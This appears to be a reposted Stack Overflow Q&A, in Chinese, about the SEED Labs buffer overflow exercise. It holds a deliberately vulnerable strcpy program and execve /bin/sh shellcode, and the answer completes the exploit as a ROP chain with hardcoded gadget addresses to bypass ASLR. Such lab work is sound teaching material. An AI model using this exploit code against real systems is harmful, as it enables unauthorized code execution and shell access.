gpt4 book ai didi

c - 缓冲区溢出,修改了 Seedlab 问题?

转载 作者:行者123 更新时间:2023-11-30 16:20:21 24 4
gpt4 key购买 nike

在这个实验室中,我有exploit.c、stack.c 和call_shellcode.c。 Stack.c 已被修改,因此它打印出缓冲区地址和 ebp 地址。我在虚拟机 ubuntu 12.04 32 位上运行它。

我必须使用易受攻击的程序 stack.c 并将代码放入exploit.c 中,以便在运行我的堆栈可执行文件时创建 shell。如有任何帮助,我们将不胜感激。

Stack.c 在下面抱歉缩进错误,实际代码有正确的缩进。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

unsigned long int sp;


int cp(char *str)
{
// unsigned long int sp;
char buffer[12];
asm("movl %%ebp, %0" : "=r" (sp));
printf("$ebp is 0X%lx\n",sp);

strcpy(buffer, str);

printf("Buffer is at address %p\n",(void*)(&buffer));
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
cp(str);

printf("Returned Properly\n");
return 1;
}

exploit.c 在下面。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

我已经在堆栈可执行文件上运行了 gdb,使用 gcc -o stack -z execstack -fno-stack-protector stack.c 进行编译,并发现缓冲区位于地址 0xbffff134 处,ebp 位于 0xbffff148 处。我知道我必须以某种方式找到我的返回地址并使我的有效负载位于该地址?请需要一些有关此分配的缓冲区溢出的帮助。

最佳答案

您需要绕过ASLR,请引用下面的链接

https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/

查找小工具:

pop ebx; ret;                                         // construct ebx value
add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; // construct eax value
add dword [ebx+0x0804A028], esp; call dword [0x08049F1C+eax*4]
  • 构造 eax 和 ebx 值
  • 将ESP值写入0804a020内存,然后执行

修改后的exploit.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

int main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
int i;
unsigned int *val = (unsigned int*)buffer;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
val[6] = 0x08048378; /* pop ebx; ret; */
val[7] = 0xaaa9a03c; /* ebx */
for(i=8; i<16; i++)
val[i] = 0x0804847c; /* add al, 0x08; add dword [ebx+0x5D5B04C4], eax; ret; */
val[16] = 0x08048378; /* pop ebx; ret; */
val[17] = 0xfffffff8; /* ebx */
val[18] = 0x08048462; /* add dword [ebx+0x0804A028], esp; */
/* call dword [0x08049F1C+eax*4] */
memcpy(&val[19], shellcode, sizeof(shellcode));

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
return 0;
}

关于c - 缓冲区溢出,修改了 Seedlab 问题?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55329974/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com